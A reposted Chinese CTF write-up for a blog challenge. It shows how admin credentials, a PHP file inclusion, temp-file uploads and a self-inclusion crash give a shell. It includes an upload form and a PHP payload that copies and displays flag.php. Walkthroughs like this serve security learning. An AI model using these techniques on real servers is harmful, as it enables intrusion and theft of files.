标签:文件 shell 这里 Blog 进阶篇 CTF post php 上传
利用上一篇blog的思路,用admin/19-10-1997得到管理页面
这里用php伪协议读取是不行的,php://filter已经失效了,这里的文件包含仍然能够执行,这里是我们可以利用的
这里的思路是上传一个shell,用命令执行读取shell,上传点也不好找,这里利用的是一个php文件上传的特性
这里利用了php对POST上传文件临时保存的特性
php对post过来的文件有一个默认处理流程,首先将post过来的文件保存在/tmp文件夹下,
文件名为php{0-9A-Za-z}的随机字符,我们可以把shell写到这个文件里,直接就可以getshell了,下步就是要对php post一个文件
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title>上传文件</title>
</head>
<body>
<form action="http://7a1c213b5897452f87d69f14b68ea3a90ba7365cfd164398.changame.ichunqiu.com/blog_manage/manager.php?module=manage&name=php" method="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="submit" value="提交">
</form>
</body>
</html>
注意这里出现的两个manager.php,这里是防止利用文件包含写shell时生成的文件被删除
根据大佬所说,原理好像是自包含递归爆内存…简单地说,无穷自包含爆栈使其崩溃,从而影响他的文件删除功能
这里我们上传一个文件
emmmm,确实崩溃了
忽略下面几个,那是我之前做的测试,可以看到确实生成了php文件,虽然我们上传的是txt文件,下面访问就好了
我不太懂的是为什么php后面要加字母,而且任意字母都可以
发现许多函数都被禁掉了
这里要将flag.php拷贝为一个txt文件,在文件包含这个文件就可以了
<?php
copy("/var/www/html/flag.php","/tmp/flag.txt");
show_source("/tmp/flag.txt");
//注意要用到show_source函数显示源码,否则会被解析,从下面也可以看到,flag的内容是在注释当中的
?>
参考
https://blog.csdn.net/qq_30123355/article/details/58165038?utm_source=blogxgwz3

标签:文件,shell,这里,Blog,进阶篇,CTF,post,php,上传 来源: https://blog.csdn.net/weixin_43940853/article/details/104602695
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。